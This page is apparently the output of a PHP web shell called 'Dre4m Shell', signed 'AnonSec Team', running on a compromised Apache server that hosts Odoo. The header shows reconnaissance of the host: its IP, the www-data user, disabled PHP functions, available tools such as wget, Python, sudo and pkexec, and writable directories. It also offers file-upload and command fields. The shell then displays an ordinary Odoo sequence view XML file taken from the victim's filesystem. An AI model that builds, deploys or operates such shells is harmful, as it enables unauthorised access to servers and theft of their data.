Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.119.107.255
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/odoo/addons/base/ir/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/odoo/addons/base/ir/ir_sequence_view.xml
<?xml version="1.0" encoding="utf-8"?>
<odoo>
        <!-- Sequences -->
        <record id="sequence_view" model="ir.ui.view">
            <field name="model">ir.sequence</field>
            <field name="arch" type="xml">
                <form string="Sequences">
                  <sheet>
                    <group>
                      <group>
                        <field name="name"/>
                        <field name="implementation"/>
                      </group>
                      <group>
                        <field name="code"/>
                        <field name="active"/>
                        <field name="company_id" groups="base.group_multi_company"/>
                      </group>
                    </group>
                    <notebook>
                    <page string="Sequence">
                        <group>
                          <group>
                            <field name="prefix"/>
                            <field name="suffix"/>
                            <field name="use_date_range"/>
                          </group>
                          <group>
                            <field name="padding"/>
                            <field name="number_increment"/>
                            <field name="number_next_actual" attrs="{'invisible': [('use_date_range', '=', True)]}"/>
                          </group>
                        </group>
                        <field name="date_range_ids" attrs="{'invisible': [('use_date_range', '=', False)]}">
                            <tree string="Sequences" editable="top">
                                <field name="date_from"/>
                                <field name="date_to"/>
                                <field name="number_next_actual"/>
                            </tree>
                        </field>
                        <group col="3" string="Legend (for prefix, suffix)">
                            <group>
                                <label colspan="2" string="Current Year with Century: %%(year)s"/>
                                <label colspan="2" string="Current Year without Century: %%(y)s"/>
                                <label colspan="2" string="Month: %%(month)s"/>
                                <label colspan="2" string="Day: %%(day)s"/>
                            </group>
                            <group>
                                <label colspan="2" string="Day of the Year: %%(doy)s"/>
                                <label colspan="2" string="Week of the Year: %%(woy)s"/>
                                <label colspan="2" string="Day of the Week (0:Monday): %%(weekday)s"/>
                            </group>
                            <group>
                                <label colspan="2" string="Hour 00->24: %%(h24)s"/>
                                <label colspan="2" string="Hour 00->12: %%(h12)s"/>
                                <label colspan="2" string="Minute: %%(min)s"/>
                                <label colspan="2" string="Second: %%(sec)s"/>
                            </group>
                        </group>
                        <group attrs="{'invisible': [('use_date_range', '=', False)]}">
                            <div>
                                When subsequences per date range are used, you can prefix variables with 'range_'
                                to use the beginning of the range instead of the current date, e.g. %%(range_year)s instead of %%(year)s.
                            </div>
                        </group>
                    </page>
                    </notebook>
                   </sheet>
                </form>
            </field>
        </record>
        <record id="sequence_view_tree" model="ir.ui.view">
            <field name="model">ir.sequence</field>
            <field name="arch" type="xml">
                <tree string="Sequences">
                    <field name="code"/>
                    <field name="name"/>
                    <field name="prefix"/>
                    <field name="padding"/>
                    <field name="company_id" groups="base.group_multi_company"/>
                    <field name="number_next_actual"/>
                    <field name="number_increment"/>
                    <field name="implementation"/>
                </tree>
            </field>
        </record>
        <record id="view_sequence_search" model="ir.ui.view">
            <field name="model">ir.sequence</field>
            <field name="arch" type="xml">
                <search string="Sequences">
                    <field name="name" string="Sequence"/>
                    <field name="code"/>
                    <field name="company_id" groups="base.group_multi_company"/>
                </search>
            </field>
        </record>
        <record id="ir_sequence_form" model="ir.actions.act_window">
            <field name="name">Sequences</field>
            <field name="type">ir.actions.act_window</field>
            <field name="res_model">ir.sequence</field>
            <field name="view_type">form</field>
            <field name="view_id" ref="sequence_view_tree"/>
            <field name="context">{'active_test': False}</field>
        </record>
        <menuitem action="ir_sequence_form" id="menu_ir_sequence_form" parent="next_id_5"/>

</odoo>

Anon7 - 2022
AnonSec Team